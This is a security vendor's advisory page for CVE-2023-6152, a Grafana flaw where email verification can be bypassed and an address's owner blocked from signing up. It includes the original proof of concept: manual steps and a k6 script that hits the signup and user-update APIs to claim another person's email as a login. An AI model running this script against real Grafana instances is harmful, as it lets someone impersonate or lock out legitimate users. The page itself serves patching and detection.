Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
MEDIUM severity

CVE-2023-6152 grafana

MEDIUM

CVE-2023-6152 is a medium-severity (CVSS 5.4) CWE-863 vulnerability in github.com/grafana/grafana. 1 public exploit reference exists, so weaponization risk is real. A fix is available for github.com/grafana/grafana — see the affected versions and patch details below.

Email Validation Bypass And Preventing Sign Up From Email's Owner

Also known asBIT-grafana-2023-6152GHSA-3hv4-r2fm-h27f
Published
Feb 13, 2024
Updated
Aug 12, 2026
Affected
5 pkgs
Patched
5 / 5
Exploits
1 known
Exploitation data as of Sep 19, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2023-6152.

EPSS Exploitation Probability

via FIRST.org ↗
1.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs71th percentile — riskier than 71% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

CVE-2023-6152 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,333 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

5 pkgs affected
🐹github.com/grafana/grafana🐹github.com/grafana/grafana🐹github.com/grafana/grafana🐹github.com/grafana/grafana🐹github.com/grafana/grafana

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Email validation can easily be bypassed because verify_email_enabled option enable email validation at sign up only. A user changing it's email after signing up (and verifying it) can change it without verification in /profile. This can be used to prevent legitimate owner of the email address from signing up.

Another way to prevent email's owner from signing up is by setting Username as an email: When a new user is registrering, they can set two different email addresses in the Email and Username field, technically having 2 email addresses (because Grafana handles usernames and emails the same in some situations), but only the former is validated.

Here user a prevents owner of [email protected] to signup.

Details

I don't know exact location but this is related to PUT /api/user handler.

PoC

Bypass email validation:

  • Start a new grafana instance using latest version
  • Sign up with email foo@example.
  • Login to that account.
  • Go to profile and change email to [email protected]
  • That's it, your using an email you don't own.

Prevent email's owner from signing up:

  • Start a new grafana instance using latest version
  • Sign up with email foo@example.
  • Login to that account.
  • Go to profile and change username (not email) to [email protected]
  • Signout.
  • Try to sign up with email [email protected]
  • Warning popup "User with same email address already exists"

K6 script (with verify_email_enabled set to false):

import { check, group } from "k6"
import http from "k6/http"

export const options = {
  scenarios: {
    perVuIter: {
      executor: 'per-vu-iterations',
      vus: 1,
      iterations: 1
    }
  }
}

const GRAFANA_URL = __ENV.GRAFANA_URL || "http://localhost:3000"

export default function () {
  group("create user_a with email [email protected]", () => {
    const response = http.post(`${GRAFANA_URL}/api/user/signup/step2`, JSON.stringify({
      "email": "[email protected]",
      "password": "password"
    }), {
      headers: {
        'Content-Type': "application/json"
      }
    })

    check(response, {
      'status code is 200': (r) => r.status == 200
    })
  })

  group("change user_a login to [email protected]", () => {
    const response = http.put(`${GRAFANA_URL}/api/user`, JSON.stringify({
      "email": "[email protected]",
      "login": "[email protected]", // user_b email.
    }), {
      headers: {
        'Content-Type': "application/json"
      }
    })

    check(response, {
      'status code is 200': (r) => r.status == 200
    })
  })

  http.cookieJar().clear(GRAFANA_URL)

  group("create user_b with email [email protected]", () => {
    const response = http.post(`${GRAFANA_URL}/api/user/signup/step2`, JSON.stringify({
      "email": "[email protected]",
      "username": "[email protected]",
      "password": "password"
    }), {
      headers: {
        'Content-Type': "application/json"
      }
    })

    check(response, {
      'status code is 200': (r) => r.status == 200 // fail
    })
  })
}

Impact

Bypass email verification. Prevent legitimate owner from signing up.

Affected Packages

5 total 5 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/grafana/grafana2.5.0&&< 9.5.169.5.16go get github.com/grafana/grafana@v9.5.16
🐹Gogithub.com/grafana/grafana10.0.0&&< 10.0.1110.0.11go get github.com/grafana/grafana@v10.0.11
🐹Gogithub.com/grafana/grafana10.1.0&&< 10.1.710.1.7go get github.com/grafana/grafana@v10.1.7
🐹Gogithub.com/grafana/grafana10.2.0&&< 10.2.410.2.4go get github.com/grafana/grafana@v10.2.4
🐹Gogithub.com/grafana/grafana10.3.0&&< 10.3.310.3.3go get github.com/grafana/grafana@v10.3.3
Exploits & PoCs
1

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/grafana/grafana, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/grafana/grafana to 9.5.16 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2023-6152 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2023-6152 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2023-6152. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary Email validation can easily be bypassed because `verify_email_enabled` option enable email validation at sign up only. A user changing it's email after signing up (and verifying it) can change it without verification in `/profile`. This can be used to prevent legitimate owner of the email address from signing up. Another way to prevent email's owner from signing up is by setting Username as an email: When a new user is registrering, they can set two different email addresses in the Email and Username field, technically having 2 email addresses (because Grafana handles usernames an
O3 Security · Impact-Aware SCA

Is CVE-2023-6152 in your dependencies?

O3 Security finds CVE-2023-6152 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

CVE-2023-6152: grafana (Medium 5.4) | O3 Security